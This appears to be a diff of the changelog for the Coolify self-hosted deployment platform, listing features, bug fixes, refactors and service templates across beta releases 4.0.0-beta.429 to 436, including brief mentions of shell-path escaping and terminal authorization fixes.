-- UI bug, do not write ssh key to disk in server dialog
-- SSH Multiplexing for Jobs
-- SSH algorhytm text
-- Few multiplexing things
-- Clear mux directory
-- Multiplexing do not write file manually
-- Integrate tow step process in the modal component WIP
-- Ability to hide labels
-- DB start, stop confirm
-- Del init script
-- General confirm
-- Preview deployments and typos
-- Service confirmation
-- Confirm file storage
-- Stop service confirm
-- DB image cleanup
-- Confirm ressource operation
-- Environment variabel deletion
-- Confirm scheduled tasks
-- Confirm API token
-- Confirm private key
-- Confirm server deletion
-- Confirm server settings
-- Proxy stop and restart confirmation
-- GH app deletion confirmation
-- Redeploy all confirmation
-- User deletion confirmation
-- Team deletion confirmation
-- Backup job confirmation
-- Delete volume confirmation
-- More conformations and fixes
-- Delete unused private keys button
-- Ray error because port is not uncommented
-- #3322 deploy DB alterations before updating
-- Css issue with advanced settings and remove cf tunnel in onboarding
-- New cf tunnel install flow
-- Made help text more clear
-- Cloudflare tunnel
-- Make helper text more clean to use a FQDN and not an URL
-- Manual cleanup button and unused volumes and network deletion
-- Force helper image removal
-- Use the new confirmation flow
-- Typo
-- Typo in install script
-- If API is disabeled do not show API token creation stuff
-- Disable API by default
-- Add debug bar
-- Remove memlock as it caused problems for some users
-- Server storage check
-- Show backup button on supported db service stacks
-- Update helper version
-- Outline
-- Directus
-- Supertokens
-- Supertokens json
-- Rabbitmq
-- Easyappointments
-- Soketi
-- Dozzle
-- Windmill
-- Coolify.json
-- Keycloak
-- Other DB options for freshrss
-- Nextcloud MariaDB and MySQL versions
-- Add peppermint
-- Loggy
-- Add UI for redis password and username
-- Wireguard-easy template
-- Https://github.com/coollabsio/coolify/issues/4186
-- Separate resources by type in projects view
-- Improve s3 add view
-- Caddy docker labels do not honor "strip prefix" option
-- Test rename GitHub app
-- Checkmate service and fix prowlar slogan (too long)
-- Arrrrr
-- Dep
-- Docker dep
-- Trigger.dev templates - wrong key length issue
-- Trigger.dev template - missing ports and wrong env usage
-- Trigger.dev template - fixed otel config
-- Trigger.dev template - fixed otel config
-- Trigger.dev template - fixed port config
-- Bump all dependencies (#5216)
-- Bump Coolify to 4.0.0-beta.398
-- Bump Coolify to 4.0.0-beta.400
-- *(migration)* Add SSL fields to database tables
-- SSL Support for KeyDB
-- Add missing UUID to openapi spec
-- Add missing openapi items to PrivateKey
-- Adjust Workflows for v5 (#5689)
-- Add support for postmarketOS (#5608)
-- *(core)* Simplify events for app/db/service status changes
-- *(settings-dropdown)* Add icons to buttons for improved UI in settings dropdown
-- *(ui)* Introduce task for simplifying resource operations UI by replacing boxes with dropdown selections to enhance user experience and streamline interactions
-- Allow deploy from container image hash
-- *(storage)* Enhance file storage management with new properties and UI improvements
-- *(core)* Update projects property type and enhance UI styling
-- *(components)* Adjust SVG icon sizes for consistency across applications and services
-- *(components)* Auto-focus first input in modal on open
-- *(styles)* Enhance focus styles for buttons and links
-- *(components)* Enhance close button accessibility in modal
 - Ente config
 - Cofig variables
 - Lean Config
@@ -4297,335 +376,1114 @@ ### 💼 Other
 - Escape all shell directory paths in Git deployment commands
 - Remove content from docker_compose_raw to prevent file overwrites
 - *(templates)* Metamcp app
-- Preserve clean docker_compose_raw without Coolify additions
 
 ### 🚜 Refactor
 
-- Code
-- Env variable generator
-- Service logs are now on one page
-- Application status changed realtime
-- Custom labels
-- Clone project
-- Compose file and install script
-- Add SCHEDULER environment variable to StartSentinel.php
-- Update edit-domain form in project service view
-- Add Huly services to compose file
-- Remove redundant heading in backup settings page
-- Add isBuildServer method to Server model
-- Update docker network creation in ApplicationDeploymentJob
-- Update destination.blade.php to add group class for better styling
-- Applicationdeploymentjob
-- Improve code structure in ApplicationDeploymentJob.php
-- Remove unnecessary debug statement in ApplicationDeploymentJob.php
-- Remove unnecessary debug statements and improve code structure in RunRemoteProcess.php and ApplicationDeploymentJob.php
-- Remove unnecessary logging statements from UpdateCoolify
-- Update storage form inputs in show.blade.php
-- Improve Docker Compose parsing for services
-- Remove unnecessary port appending in updateCompose function
-- Remove unnecessary form class in profile index.blade.php
-- Update form layout in invite-link.blade.php
-- Add log entry when starting new application deployment
-- Improve Docker Compose parsing for services
-- Update Docker Compose parsing for services
-- Update slogan in shlink.yaml
-- Improve display of deployment time in index.blade.php
-- Remove commented out code for clearing Ray logs
-- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview
-- Append utm_source parameter to documentation URL
-- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview
-- Update deployment previews heading to "Deployments"
-- Remove unused variables and improve code readability
-- Initialize null properties in Github Change component
-- Improve pre and post deployment command inputs
-- Improve handling of Docker volumes in parseDockerComposeFile function
-- Replaces duplications in code with a single function
-- Update text color for stderr output in deployment show view
-- Update text color for stderr output in deployment show view
-- Remove debug code for saving environment variables
-- Update Docker build commands for better performance and flexibility
-- Update image sizes and add new logos to README.md
-- Update README.md with new logos and fix styling
-- Update shared.php to use correct key for retrieving sentinel version
-- Update container name assignment in Application model
-- Remove commented code for docker container removal
-- Update Application model to include getDomainsByUuid method
-- Update Project/Show component to sort environments by created_at
-- Update profile index view to display 2FA QR code in a centered container
-- Update dashboard.blade.php to use project's default environment for redirection
-- Update gitCommitLink method to handle null values in source.html_url
-- Update docker-compose generation to use multi-line literal block
-- Update Service model's saveComposeConfigs method
-- Add default environment to Service model's saveComposeConfigs method
-- Improve handling of default environment in Service model's saveComposeConfigs method
-- Remove commented out code in Service model's saveComposeConfigs method
-- Update stack-form.blade.php to include wire:target attribute for submit button
-- Update code to use str() instead of Str::of() for string manipulation
-- Improve formatting and readability of source.blade.php
-- Add is_build_time property to nixpacks_php_fallback_path and nixpacks_php_root_dir
-- Simplify code for retrieving subscription in Stripe webhook
-- Add force parameter to StartProxy handle method
-- Comment out unused code for network cleanup
-- Reset default labels when docker_compose_domains is modified
-- Webhooks view
-- Tags view
-- Only get instanceSettings once from db
-- Update Dockerfile to set CI environment variable to true
-- Remove unnecessary code in AppServiceProvider.php
-- Update Livewire configuration views
-- Update Webhooks.php to use nullable type for webhook URLs
-- Add lazy loading to tags in Livewire configuration view
-- Update metrics.blade.php to improve alert message clarity
-- Update version numbers to 4.0.0-beta.312
-- Update version numbers to 4.0.0-beta.314
-- Remove unused code and fix storage form layout
-- Update Docker Compose build command to include --pull flag
-- Update DockerCleanupJob to handle nullable usageBefore property
-- Server status job and docker cleanup job
-- Update DockerCleanupJob to use server settings for force cleanup
-- Update DockerCleanupJob to use server settings for force cleanup
-- Disable health check for Rust applications during deployment
-- Update CleanupDatabase.php to adjust keep_days based on environment
-- Adjust keep_days in CleanupDatabase.php based on environment
-- Remove commented out code for cleaning up networks in CleanupDocker.php
-- Update livewire polling interval in heading.blade.php
-- Remove unused code for checking server status in Heading.php
-- Simplify log drain installation in ServerCheckJob
-- Remove unnecessary debug statement in ServerCheckJob
-- Simplify log drain installation and stop log drain if necessary
-- Cleanup unnecessary dynamic proxy configuration in Init command
-- Remove unnecessary debug statement in ApplicationDeploymentJob
-- Update timeout for graceful_shutdown_container in ApplicationDeploymentJob
-- Remove unused code and optimize CheckForUpdatesJob
-- Update ProxyTypes enum values to use TRAEFIK instead of TRAEFIK_V2
-- Update Traefik labels on init and cleanup unnecessary dynamic proxy configuration
-- Update StandalonePostgresql database initialization and backup handling
-- Update cron expressions and add helper text for scheduled tasks
-- Update Server model getContainers method to use collect() for containers and containerReplicates
-- Import ProxyTypes enum and use TRAEFIK instead of TRAEFIK_V2
-- Update event listeners in Show components
-- Refresh application to get latest database changes
-- Update RabbitMQ configuration to use environment variable for port
-- Remove debug statement in parseDockerComposeFile function
-- ParseServiceVolumes
-- Update OpenApi command to generate documentation
-- Remove unnecessary server status check in destination view
-- Remove unnecessary admin user email and password in budibase.yaml
-- Improve saving of custom internal name in Advanced.php
-- Add conditional check for volumes in generate_compose_file()
-- Improve storage mount forms in add.blade.php
-- Load environment variables based on resource type in sortEnvironmentVariables()
-- Remove unnecessary network cleanup in Init.php
-- Remove unnecessary environment variable checks in parseDockerComposeFile()
-- Add null check for docker_compose_raw in parseCompose()
-- Update dockerComposeParser to use YAML data from $yaml instead of $compose
-- Convert service variables to key-value pairs in parseDockerComposeFile function
-- Update database service name from mariadb to mysql
-- Remove unnecessary code in DatabaseBackupJob and BackupExecutions
-- Update Docker Compose parsing function to convert service variables to key-value pairs
-- Update Docker Compose parsing function to convert service variables to key-value pairs
-- Remove unused server timezone seeder and related code
-- Remove unused server timezone seeder and related code
-- Remove unused PullCoolifyImageJob from schedule
-- Update parse method in Advanced, All, ApplicationPreview, General, and ApplicationDeploymentJob classes
-- Remove commented out code for getIptables() in Dashboard.php
-- Update .env file path in install.sh script
-- Update SELF_HOSTED environment variable in docker-compose.prod.yml
-- Remove unnecessary code for creating coolify network in upgrade.sh
-- Update environment variable handling in StartClickhouse.php and ApplicationDeploymentJob.php
-- Improve handling of COOLIFY_URL in shared.php
-- Update build_args property type in ApplicationDeploymentJob
-- Update background color of sponsor section in README.md
-- Update Docker Compose location handling in PublicGitRepository
-- Upgrade process of Coolify
-- Improve handling of server timezones in scheduled backups and tasks
-- Improve handling of server timezones in scheduled backups and tasks
-- Improve handling of server timezones in scheduled backups and tasks
-- Update cleanup schedule to run daily at midnight
-- Skip returning volume if driver type is cifs or nfs
-- Improve environment variable handling in shared.php
-- Improve handling of environment variable merging in upgrade script
-- Remove unnecessary code in ExecuteContainerCommand.php
-- Improve Docker network connection command in StartService.php
-- Terminal / run command
-- Add authorization check in ExecuteContainerCommand mount method
-- Remove unnecessary code in Terminal.php
-- Remove unnecessary code in Terminal.blade.php
-- Update WebSocket connection initialization in terminal.blade.php
-- Remove unnecessary console.log statements in terminal.blade.php
-- Update Docker cleanup label in Heading.php and Navbar.php
-- Remove commented out code in Navbar.php
-- Remove CleanupSshKeysJob from schedule in Kernel.php
-- Update getAJoke function to exclude offensive jokes
-- Update getAJoke function to use HTTPS for API request
-- Update CleanupHelperContainersJob to use more efficient Docker command
-- Update PrivateKey model to improve code readability and maintainability
-- Remove unnecessary code in PrivateKey model
-- Update PrivateKey model to use ownedByCurrentTeam() scope for cleanupUnusedKeys()
-- Update install.sh script to check if coolify-db volume exists before generating SSH key
-- Update ServerSeeder and PopulateSshKeysDirectorySeeder
-- Improve attribute sanitization in Server model
-- Update confirmation button text for deletion actions
-- Remove unnecessary code in shared.php file
-- Update environment variables for services in compose files
-- Update select.blade.php to improve trademarks policy display
-- Update select.blade.php to improve trademarks policy display
-- Fix typo in subscription URLs
-- Add Postiz service to compose file (disabled for now)
-- Update shared.php to include predefined ports for services
-- Simplify SSH key synchronization logic
-- Remove unused code in DatabaseBackupStatusJob and PopulateSshKeysDirectorySeeder
-- Remove commented out code and improve environment variable handling in newParser function
-- Improve label positioning in input and checkbox components
-- Group and sort fields in StackForm by service name and password status
-- Improve layout and add checkbox for task enablement in scheduled task form
-- Update checkbox component to support full width option
-- Update confirmation label in danger.blade.php template
-- Fix typo in execute-container-command.blade.php
-- Update OS_TYPE for Asahi Linux in install.sh script
-- Add localhost as Server if it doesn't exist and not in cloud environment
-- Add localhost as Server if it doesn't exist and not in cloud environment
-- Update ProductionSeeder to fix issue with coolify_key assignment
-- Improve modal confirmation titles and button labels
-- Update install.sh script to remove redirection of upgrade output to /dev/null
-- Fix modal input closeOutside prop in configuration.blade.php
-- Add support for IPv6 addresses in sslip function
-- Update environment variable name for uptime-kuma service
-- Improve start proxy script to handle existing containers gracefully
-- Update delete server confirmation modal buttons
-- Remove unnecessary code
-- Update search input placeholder in resource index view
-- Remove deployment queue when deleting an application
-- Improve SSH command generation in Terminal.php and terminal-server.js
-- Fix indentation in modal-confirmation.blade.php
-- Improve parsing of commands for sudo in parseCommandsByLineForSudo
-- Improve popup component styling and button behavior
-- Encode delimiter in SshMultiplexingHelper
-- Remove inactivity timer in terminal-server.js
-- Improve socket reconnection interval in terminal.js
-- Remove unnecessary watch command from soketi service entrypoint
-- Update Traefik configuration for improved security and logging
-- Improve proxy configuration and code consistency in Server model
-- Rename name method to sanitizedName in BaseModel for clarity
-- Improve migration command and enhance application model with global scope and status checks
-- Unify notification icon
-- Remove unused Azure and Authentik service configurations from services.php
-- Change email column types in instance_settings migration from string to text
-- Change OauthSetting creation to updateOrCreate for better handling of existing records
-- Rename `coolify.environment` to `coolify.environmentName`
-- Rename parameter in DatabaseBackupJob for clarity
-- Improve checkbox component accessibility and styling
-- Remove unused tags method from ApplicationDeploymentJob
-- Improve deployment status check in isAnyDeploymentInprogress function
-- Extend HorizonServiceProvider from HorizonApplicationServiceProvider
-- Streamline job status retrieval and clean up repository interface
-- Enhance ApplicationDeploymentJob and HorizonServiceProvider for improved job handling
-- Remove commented-out unsubscribe route from API
-- Update redirect calls to use a consistent navigation method in deployment functions
-- AppServiceProvider
-- Github.php
-- Improve data formatting and UI
-- Comment out RootUserSeeder call in ProductionSeeder for clarity
-- Streamline ProductionSeeder by removing debug logs and unnecessary checks, while ensuring essential seeding operations remain intact
-- Remove debug echo statements from Init command to clean up output and improve readability
-- *(workflows)* Replace jq with PHP script for version retrieval in workflows
-- *(s3)* Improve S3 bucket endpoint formatting
-- *(vite)* Improve environment variable handling in Vite configuration
-- *(ui)* Simplify GitHub App registration UI and layout
-- Simplify service start and restart workflows
-- Use pull flag on docker compose up
-- *(ui)* Simplify file storage modal confirmations
-- *(notifications)* Improve transactional email settings handling
-- *(scheduled-tasks)* Improve scheduled task creation and management
-- *(billing)* Enhance Stripe subscription status handling and notifications
-- *(ui)* Unhide log toggle in application settings
-- *(nginx)* Streamline default Nginx configuration and improve error handling
-- *(install)* Clean up install script and enhance Docker installation logic
-- *(ScheduledTask)* Clean up code formatting and remove unused import
-- *(app)* Remove unused MagicBar component and related code
-- *(database)* Streamline SSL configuration handling across database types
-- *(application)* Streamline healthcheck parsing from Dockerfile
-- *(notifications)* Standardize getRecipients method signatures
-- *(configuration)* Centralize configuration management in ConfigurationRepository
-- *(docker)* Update image references to use centralized registry URL
-- *(env)* Add centralized registry URL to environment configuration
-- *(storage)* Simplify file storage iteration in Blade template
-- *(models)* Add is_directory attribute to LocalFileVolume model
-- *(modal)* Add ignoreWire attribute to modal-confirmation component
-- *(invite-link)* Adjust layout for better responsiveness in form
-- *(invite-link)* Enhance form layout for improved responsiveness
-- *(network)* Enhance docker network creation with ipv6 fallback
-- *(network)* Check for existing coolify network before creation
-- *(database)* Enhance encryption process for local file volumes
-- *(proxy)* Improve port availability checks with multiple methods
-- *(database)* Update MongoDB SSL configuration for improved security
-- *(database)* Enhance SSL configuration handling for various databases
-- *(notifications)* Update Telegram button URL for staging environment
-- *(models)* Remove unnecessary cloud check in isEnabled method
-- *(database)* Streamline event listeners in Redis General component
-- *(database)* Remove redundant database status display in MongoDB view
-- *(database)* Update import statements for Auth in database components
-- *(database)* Require PEM key file for SSL certificate regeneration
-- *(database)* Change MySQL daemon command to MariaDB daemon
-- *(nightly)* Update version numbers and enhance upgrade script
-- *(versions)* Update version numbers for coolify and nightly
-- *(email)* Validate team membership for email recipients
-- *(shared)* Simplify deployment status check logic
-- *(shared)* Add logging for running deployment jobs
-- *(shared)* Enhance job status check to include 'reserved'
-- *(email)* Improve error handling by passing context to handleError
-- *(email)* Streamline email sending logic and improve configuration handling
-- *(email)* Remove unnecessary whitespace in email sending logic
-- *(email)* Allow custom email recipients in email sending logic
-- *(email)* Enhance sender information formatting in email logic
-- *(proxy)* Remove redundant stop call in restart method
-- *(file-storage)* Add loadStorageOnServer method for improved error handling
-- *(docker)* Parse and sanitize YAML compose file before encoding
-- *(file-storage)* Improve layout and structure of input fields
-- *(email)* Update label for test email recipient input
-- *(database-backup)* Remove existing Docker container before backup upload
-- *(database)* Improve decryption and deduplication of local file volumes
-- *(database)* Remove debug output from volume update process
-- *(dev)* Remove OpenAPI generation functionality
-- *(migration)* Enhance local file volumes migration with logging
-- *(CheckProxy)* Replace 'which' with 'command -v' for command availability checks
-- *(Server)* Use data_get for safer access to settings properties in isFunctional method
-- *(Application)* Rename network_aliases to custom_network_aliases across the application for clarity and consistency
-- *(ApplicationDeploymentJob)* Streamline environment variable handling by introducing generate_coolify_env_variables method and consolidating logic for pull request and main branch scenarios
-- *(ApplicationDeploymentJob, ApplicationDeploymentQueue)* Improve deployment status handling and log entry management with transaction support
-- *(SourceManagement)* Sort sources by name and improve UI for changing Git source with better error handling
-- *(Email)* Streamline SMTP and resend settings handling in copyFromInstanceSettings method
-- *(Email)* Enhance error handling in SMTP and resend methods by passing context to handleError function
-- *(DynamicConfigurations)* Improve handling of dynamic configuration content by ensuring fallback to empty string when content is null
-- *(ServicesGenerate)* Update command signature from 'services:generate' to 'generate:services' for consistency; update Dockerfile to run service generation during build; update Odoo image version to 18 and add extra addons volume in compose configuration
-- *(Dockerfile)* Streamline RUN commands for improved readability and maintainability by adding line continuations
-- *(Dockerfile)* Reintroduce service generation command in the build process for consistency and ensure proper asset compilation
-- *(commands)* Reorganize OpenAPI and Services generation commands into a new namespace for better structure; remove old command files
-- *(Dockerfile)* Remove service generation command from the build process to streamline Dockerfile and improve build efficiency
-- *(navbar-delete-team)* Simplify modal confirmation layout and enhance button styling for better user experience
-- *(Server)* Remove debug logging from isReachableChanged method to clean up code and improve performance
-- *(source)* Conditionally display connected source and change source options based on private key presence
-- *(jobs)* Update WithoutOverlapping middleware to use expireAfter for better queue management
-- *(jobs)* Comment out unused Caddy label handling in ApplicationDeploymentJob and simplify proxy path logic in Server model
-- *(database)* Simplify database type checks in ServiceDatabase and enhance image validation in Docker helper
-- *(shared)* Remove unused ray debugging statement from newParser function
-- *(applications)* Remove redundant error response in create_env method
-- *(api)* Restructure routes to include versioning and maintain existing feedback endpoint
-- *(api)* Remove token variable from OpenAPI specifications for clarity
-- *(environment-variables)* Remove protected variable checks from delete methods for cleaner logic
-- *(http-basic-auth)* Rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency
-- *(docker)* Remove debug statement and enhance hostname handling in Docker run conversion
-- *(server)* Simplify proxy path logic and remove unnecessary conditions
-- *(Database)* Streamline container shutdown process and reduce timeout duration
-- *(core)* Streamline container stopping process and reduce timeout duration; update related methods for consistency
-- *(database)* Update DB facade usage for consistency across service files
-- *(database)* Enhance application conversion logic and add existence checks for databases and applications
-- *(actions)* Standardize method naming for network and configuration deletion across application and service classes
-- *(logdrain)* Consolidate log drain stopping logic to reduce redundancy
-- *(StandaloneMariadb)* Add type hint for destination method to improve code clarity
-- *(DeleteResourceJob)* Streamline resource deletion logic and improve conditional checks for database types
-- *(jobs)* Update middleware to prevent job release after expiration for CleanupInstanceStuffsJob, RestartProxyJob, and ServerCheckJob
-- *(jobs)* Unify middleware configuration to prevent job release after expiration for DockerCleanupJob and PushServerUpdateJob
+- *(environment-variables)* Adjust ordering logic for environment variables
+- Update ente photos configuration for improved service management
+- *(deployment)* Streamline environment variable generation in ApplicationDeploymentJob
+- *(deployment)* Enhance deployment data retrieval and relationships
+- *(deployment)* Standardize environment variable handling in ApplicationDeploymentJob
+- *(deployment)* Update environment variable handling for Docker builds
+- *(navbar, app)* Improve layout and styling for better responsiveness
+- *(switch-team)* Remove label from team selection component for cleaner UI
+- *(global-search, environment)* Streamline environment retrieval with new query method
+- *(backup)* Make backup_log_uuid initialization lazy
+- *(checkbox, utilities, global-search)* Enhance focus styles for better accessibility
+- *(forms)* Simplify wire:dirty class bindings for input, select, and textarea components
+- Replace direct SslCertificate queries with server relationship methods for consistency
+- *(ui)* Improve cloud-init script save checkbox visibility and styling
+- Enable cloud-init save checkbox at all times with backend validation
+- Improve cloud-init script UX and remove description field
+- Improve cloud-init script management UI and cache control
+- Remove debug sleep from global search modal
+- Reduce cloud-init label width for better layout
+- Remove SendsWebhook interface
+- Reposition POST badge as button
+- Migrate database components from legacy model binding to explicit properties
+- Volumes set back to ./pds-data:/pds
+- *(campfire)* Streamline environment variable definitions in Docker Compose file
+- Improve validation error handling and coding standards
+- Preserve exception chain in validation error handling
+- Harden and deduplicate validateShellSafePath
+- Replace random ID generation with Cuid2 for unique HTML IDs in form components
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- Update changelog
+- *(tests)* Update testing guidelines for unit and feature tests
+- *(sync)* Create AI Instructions Synchronization Guide and update CLAUDE.md references
+- *(database-patterns)* Add critical note on mass assignment protection for new columns
+- Clarify cloud-init script compatibility
+- Update changelog
+- Update changelog
+
+### 🎨 Styling
+
+- *(campfire)* Format environment variables for better readability in Docker Compose file
+- *(campfire)* Update comment for DISABLE_SSL environment variable for clarity
+
+### 🧪 Testing
+
+- Improve Git ls-remote parsing tests with uppercase SHA and negative cases
+- Add coverage for newline and tab rejection in volume strings
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update Coolify version numbers to 4.0.0-beta.435 and 4.0.0-beta.436
+- Update package-lock.json
+- *(service)* Update convex template and image
+- *(signoz)* Remove unused ports
+- *(signoz)* Bump version to 0.77.0
+- *(signoz)* Bump version to 0.78.1
+
+## [4.0.0-beta.434] - 2025-10-03
+
+### 🚀 Features
+
+- *(deployments)* Enhance Docker build argument handling for multiline variables
+- *(deployments)* Add log copying functionality to clipboard in dev
+- *(deployments)* Generate SERVICE_NAME environment variables from Docker Compose services
+
+### 🐛 Bug Fixes
+
+- *(deployments)* Enhance builder container management and environment variable handling
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update version numbers for Coolify releases
+- *(versions)* Bump Coolify stable version to 4.0.0-beta.434
+
+## [4.0.0-beta.433] - 2025-10-01
+
+### 🚀 Features
+
+- *(user-deletion)* Implement file locking to prevent concurrent user deletions and enhance error handling
+- *(ui)* Enhance resource operations interface with dynamic selection for cloning and moving resources
+- *(global-search)* Integrate projects and environments into global search functionality
+- *(storage)* Consolidate storage management into a single component with enhanced UI
+- *(deployments)* Add support for Coolify variables in Dockerfile
+
+### 🐛 Bug Fixes
+
+- *(workflows)* Update CLAUDE API key reference in GitHub Actions workflow
+- *(ui)* Update docker registry image helper text for clarity
+- *(ui)* Correct HTML structure and improve clarity in Docker cleanup options
+- *(workflows)* Update CLAUDE API key reference in GitHub Actions workflow
+- *(api)* Correct OpenAPI schema annotations for array items
+- *(ui)* Improve queued deployment status readability in dark mode
+- *(git)* Handle additional repository URL cases for 'tangled' and improve branch assignment logic
+- *(git)* Enhance error handling for missing branch information during deployment
+- *(git)* Trim whitespace from repository, branch, and commit SHA fields
+- *(deployments)* Order deployments by ID for consistent retrieval
+
+### 💼 Other
+
+- *(storage)* Enhance file storage management with new properties and UI improvements
+- *(core)* Update projects property type and enhance UI styling
+- *(components)* Adjust SVG icon sizes for consistency across applications and services
+- *(components)* Auto-focus first input in modal on open
+- *(styles)* Enhance focus styles for buttons and links
+- *(components)* Enhance close button accessibility in modal
+
+### 🚜 Refactor
+
+- *(global-search)* Change event listener to window level for global search modal
+- *(dashboard)* Remove deployment loading logic and introduce DeploymentsIndicator component for better UI management
+- *(dashboard)* Replace project navigation method with direct link in UI
+- *(global-search)* Improve event handling and cleanup in global search component
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Update coolify version to 4.0.0-beta.433 and nightly version to 4.0.0-beta.434 in configuration files
+
+## [4.0.0-beta.432] - 2025-09-29
+
+### 🚀 Features
+
+- *(application)* Implement order-based pattern matching for watch paths with negation support
+- *(github)* Enhance Docker Compose input fields for better user experience
+- *(dev-seeders)* Add PersonalAccessTokenSeeder to create development API tokens
+- *(application)* Add conditional .env file creation for Symfony apps during PHP deployment
+- *(application)* Enhance watch path parsing to support negation syntax
+- *(application)* Add normalizeWatchPaths method to improve watch path handling
+- *(validation)* Enhance ValidGitRepositoryUrl to support additional safe characters and add comprehensive unit tests for various Git repository URL formats
+- *(deployment)* Implement detection for Laravel/Symfony frameworks and configure NIXPACKS PHP environment variables accordingly
+
+### 🐛 Bug Fixes
+
+- *(application)* Restrict GitHub-based application settings to non-public repositories
+- *(traits)* Update saved_outputs handling in ExecuteRemoteCommand to use collection methods for better performance
+- *(application)* Enhance domain handling by replacing both dots and dashes with underscores for HTML form binding
+- *(constants)* Reduce command timeout from 7200 to 3600 seconds for improved performance
+- *(github)* Update repository URL to point to the v4.x branch for development
+- *(models)* Update sorting of scheduled database backups to order by creation date instead of name
+- *(socialite)* Add custom base URL support for GitLab provider in OAuth settings
+- *(configuration-checker)* Update message to clarify redeployment requirement for configuration changes
+- *(application)* Reduce docker stop timeout from 30 to 10 seconds for improved application shutdown efficiency
+- *(application)* Increase docker stop timeout from 10 to 30 seconds for better application shutdown handling
+- *(validation)* Update git:// URL validation to support port numbers and tilde characters in paths
+- Resolve scroll lock issue after closing quick search modal with escape key
+- Prevent quick search modal duplication from keyboard shortcuts
+
+### 🚜 Refactor
+
+- *(tests)* Simplify matchWatchPaths tests and update implementation for better clarity
+- *(deployment)* Improve environment variable handling in ApplicationDeploymentJob
+- *(deployment)* Remove commented-out code and streamline environment variable handling in ApplicationDeploymentJob
+- *(application)* Improve handling of docker compose domains by normalizing keys and ensuring valid JSON structure
+- *(forms)* Update wire:model bindings to use 'blur' instead of 'blur-sm' for input fields across multiple views
+
+### 📚 Documentation
+
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(application)* Remove debugging statement from loadComposeFile method
+- *(workflows)* Update Claude GitHub Action configuration to support new event types and improve permissions
+
+## [4.0.0-beta.431] - 2025-09-24
+
+### 📚 Documentation
+
+- Update changelog
+
+## [4.0.0-beta.430] - 2025-09-24
+
+### 🚀 Features
+
+- *(add-watch-paths-for-services)* Show watch paths field for docker compose applications
+
+### 🐛 Bug Fixes
+
+- *(PreviewCompose)* Adds port to preview urls
+- *(deployment-job)* Enhance build time variable analysis
+- *(docker)* Adjust openssh-client installation in Dockerfile to avoid version bug
+- *(docker)* Streamline openssh-client installation in Dockerfile
+- *(team)* Normalize email case in invite link generation
+- *(README)* Update Juxtdigital description to reflect current services
+- *(environment-variable-warning)* Enhance warning logic to check for problematic variable values
+- *(install)* Ensure proper quoting of environment file paths to prevent issues with spaces
+- *(security)* Implement authorization checks for terminal access management
+- *(ui)* Improve mobile sidebar close behavior
+
+### 🚜 Refactor
+
+- *(installer)* Improve install script
+- *(upgrade)* Improve upgrade script
+- *(installer, upgrade)* Enhance environment variable management
+- *(upgrade)* Enhance logging and quoting in upgrade scripts
+- *(upgrade)* Replace warning div with a callout component for better UI consistency
+- *(ui)* Replace warning and error divs with callout components for improved consistency and readability
+- *(ui)* Improve styling and consistency in environment variable warning and docker cleanup components
+- *(security)* Streamline update check functionality and improve UI button interactions in patches view
+
+### 📚 Documentation
+
+- Update changelog
+- Update changelog
+
+### ⚙️ Miscellaneous Tasks
+
+- *(versions)* Increment coolify version numbers to 4.0.0-beta.431 and 4.0.0-beta.432 in configuration files
+- *(versions)* Update coolify version numbers to 4.0.0-beta.432 and 4.0.0-beta.433 in configuration files
+- Remove unused files
+- Adjust wording
+- *(workflow)* Update pull request trigger to pull_request_target and refine permissions for enhanced security
+
+## [4.0.0-beta.429] - 2025-09-23
+
+### 🚀 Features
+
+- *(environment)* Replace is_buildtime_only with is_runtime and is_buildtime flags for environment variables, updating related logic and views
+- *(deployment)* Handle buildtime and runtime variables during deployment
+- *(search)* Implement global search functionality with caching and modal interface
+- *(search)* Enable query logging for global search caching
+- *(environment)* Add dynamic checkbox options for environment variable settings based on user permissions and variable types
+- *(redaction)* Implement sensitive information redaction in logs and commands
+- Improve detection of special network modes
+- *(api)* Add endpoint to update backup configuration by UUID and backup ID; modify response to include backup id
+- *(databases)* Enhance backup management API with new endpoints and improved data handling
+- *(github)* Add GitHub app management endpoints
+- *(github)* Add update and delete endpoints for GitHub apps
+- *(databases)* Enhance backup update and deletion logic with validation
+- *(environment-variables)* Implement environment variable analysis for build-time issues
+- *(databases)* Implement unique UUID generation for backup execution
+- *(cloud-check)* Enhance subscription reporting in CloudCheckSubscription command
+- *(cloud-check)* Enhance CloudCheckSubscription command with fix options
+- *(stripe)* Enhance subscription handling and verification process
+- *(private-key-refresh)* Add refresh dispatch on private key update and connection check
+- *(comments)* Add automated comments for labeled pull requests to guide documentation updates
+- *(comments)* Ping PR author
+
+### 🐛 Bug Fixes
+
+- *(docker)* Enhance container status aggregation to include restarting and exited states
+- *(environment)* Correct grammatical errors in helper text for environment variable sorting checkbox
+- *(ui)* Change order and fix ui on small screens
+- Order for git deploy types
+- *(deployment)* Enhance Dockerfile modification for build-time variables and secrets during deployment in case of docker compose buildpack
+- Hide sensitive email change fields in team member responses
+- *(domains)* Trim whitespace from domains before validation
+- *(databases)* Update backup retrieval logic to include team context
+- *(environment-variables)* Update affected services in environment variable analysis
+- *(team)* Clear stripe_subscription_id on subscription end
+- *(github)* Update authentication method for GitHub app operations
+- *(databases)* Restrict database updates to allowed fields only
+- *(cache)* Add Model import to ClearsGlobalSearchCache trait for improved functionality
+- *(environment-variables)* Correct method call syntax in analyzeBuildVariable function
+- *(clears-global-search-cache)* Refine team retrieval logic in getTeamIdForCache method
+- *(subscription-job)* Enhance retry logic for VerifyStripeSubscriptionStatusJob
+- *(environment-variable)* Update checkbox visibility and helper text for build and runtime options
+- *(deployment-job)* Escape single quotes in build arguments for Docker Compose command
+
+### 🚜 Refactor
+
+- *(environment)* Conditionally render Docker Build Secrets checkbox based on build pack type
+- *(search)* Optimize cache clearing logic to only trigger on searchable field changes
+- *(environment)* Streamline rendering of Docker Build Secrets checkbox and adjust layout for environment variable settings
+- *(proxy)* Streamline proxy configuration form layout and improve button placements
+- *(remoteProcess)* Remove redundant file transfer functions for improved clarity
+- *(github)* Enhance API request handling and validation
